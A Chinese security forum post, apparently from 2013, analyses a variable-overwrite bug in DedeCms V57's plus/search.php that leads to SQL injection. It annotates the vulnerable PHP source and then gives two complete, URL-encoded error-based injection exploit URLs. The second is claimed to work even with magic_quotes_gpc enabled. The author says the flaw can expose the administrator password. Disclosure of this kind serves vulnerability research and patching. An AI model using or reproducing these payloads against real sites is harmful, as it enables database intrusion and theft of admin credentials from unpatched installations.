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标题:
DedeCms V57 plus/search.php文件SQL注射
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作者:
admin
时间:
2013-1-19 08:18
标题:
DedeCms V57 plus/search.php文件SQL注射
微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
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作者:
c4rp3nt3r@0x50sec.org
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Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
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黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
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============
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Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
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require_once(dirname(__FILE__).”/../include/common.inc.php”);
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require_once(DEDEINC.”/arc.searchview.class.php”);
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$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
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$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
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$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
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$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
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$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
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if(!isset($orderby)) $orderby=”;
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else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
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if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
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else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
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if(!isset($keyword)){
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if(!isset($q)) $q = ”;
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$keyword=$q;
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}
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$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
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//查找栏目信息
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if(empty($typeid))
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{
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$typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
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if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
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{
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$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
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fwrite($fp, “<”.”?php\r\n”);
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$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
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$dsql->Execute();
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while($row = $dsql->GetArray())
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{
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fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
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}
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fwrite($fp, ‘?’.'>’);
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fclose($fp);
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}
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//引入栏目缓存并看关键字是否有相关栏目内容
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require_once($typenameCacheFile);
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//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
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//
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if(isset($typeArr) && is_array($typeArr))
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{
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foreach($typeArr as $id=>$typename)
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{
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<font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过
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if($keyword != $keywordn)
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{
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$keyword = $keywordn;
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<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
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break;
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}
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}
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}
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}
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然后plus/search.php文件下面定义了一个 Search类的对象 .
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在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
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$this->TypeLink = new TypeLink($typeid);
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TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
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class TypeLink
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{
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var $typeDir;
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var $dsql;
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var $TypeID;
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var $baseDir;
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var $modDir;
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var $indexUrl;
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var $indexName;
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var $TypeInfos;
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var $SplitSymbol;
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var $valuePosition;
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var $valuePositionName;
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var $OptionArrayList;//构造函数///////
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//php5构造函数
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function __construct($typeid)
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{
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$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
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$this->indexName = $GLOBALS['cfg_indexname'];
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$this->baseDir = $GLOBALS['cfg_basedir'];
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$this->modDir = $GLOBALS['cfg_templets_dir'];
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$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
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$this->dsql = $GLOBALS['dsql'];
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$this->TypeID = $typeid;
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$this->valuePosition = ”;
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$this->valuePositionName = ”;
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$this->typeDir = ”;
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$this->OptionArrayList = ”;
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//载入类目信息
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<font color=”Red”>$query = “SELECT tp.*,ch.typename as
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ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
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`#@__channeltype` ch
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on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
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if($typeid > 0)
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{
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$this->TypeInfos = $this->dsql->GetOne($query);
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利用代码一 需要 即使magic_quotes_gpc = Off
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www.political-security.com
/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
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这只是其中一个利用代码… Search 类的构造函数再往下
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……省略
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$this->TypeID = $typeid;
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……省略
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if($this->TypeID==”0″){
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$this->ChannelTypeid=1;
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}else{
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$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
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//现在不鸡肋了吧亲…
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$this->ChannelTypeid=$row['channeltype'];
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}
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利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
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www.political-security.com
/plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
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如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
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